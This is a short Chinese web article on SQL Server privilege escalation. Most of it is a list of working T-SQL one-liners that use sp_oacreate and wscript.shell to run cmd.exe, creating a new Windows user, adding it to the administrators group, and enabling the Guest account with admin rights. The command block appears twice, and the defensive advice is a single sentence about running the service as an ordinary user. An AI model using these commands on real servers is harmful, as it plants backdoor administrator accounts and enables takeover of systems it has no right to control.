SQL 提權(quán) 常用命令
更新時間:2009年07月24日 00:29:34 作者:
SQL 提權(quán) 常用命令,大家可以考慮下將sqlserver的服務運行權(quán)限設置為普通用戶,即可防止下面的提權(quán)。
1、連接數(shù)據(jù)庫
driver={SQL Server};server=服務器IP;uid=用戶名;pwd=密碼;database=數(shù)據(jù)庫名
2、添加新用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用戶 密碼 /add'
3、把用戶加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用戶 /add'
4、激活GUEST用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user guest /active:yes'
5、把Guest加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup Administrators Guest /add'
關(guān)于防范方法,可以參考腳本之家服務器安全設置欄目。
driver={SQL Server};server=服務器IP;uid=用戶名;pwd=密碼;database=數(shù)據(jù)庫名
2、添加新用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用戶 密碼 /add'
3、把用戶加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用戶 /add'
4、激活GUEST用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user guest /active:yes'
5、把Guest加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup Administrators Guest /add'
關(guān)于防范方法,可以參考腳本之家服務器安全設置欄目。
相關(guān)文章
使用sqlserver存儲過程sp_send_dbmail發(fā)送郵件配置方法(圖文)
這篇文章用圖文的方式介紹了使用sqlserver存儲過程sp_send_dbmail發(fā)送郵件的方法,大家參考使用吧2014-01-01
SQL?Server新特性SequenceNumber用法介紹
這篇文章介紹了SQL?Server新特性SequenceNumber的用法,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧2022-02-02
MSSQL2005數(shù)據(jù)附加失敗報錯3456解決辦法
今天在把數(shù)據(jù)庫備份出去,再到另一臺服務器上進行數(shù)據(jù)還原時出現(xiàn),數(shù)據(jù)附加失敗錯誤3456提示,下面來看我的解決過程2012-09-09
SQL Server中判斷和處理NULL值的多種方法和解決方案
在SQL Server數(shù)據(jù)庫中,NULL是表示缺少數(shù)據(jù)或未知值的特殊標記,處理NULL值是SQL開發(fā)人員經(jīng)常遇到的問題之一,本文將介紹SQL Server中判斷和處理NULL值的不同方法,以及一些解決方案,幫助您更好地處理數(shù)據(jù)庫中的NULL值情況,需要的朋友可以參考下2024-01-01

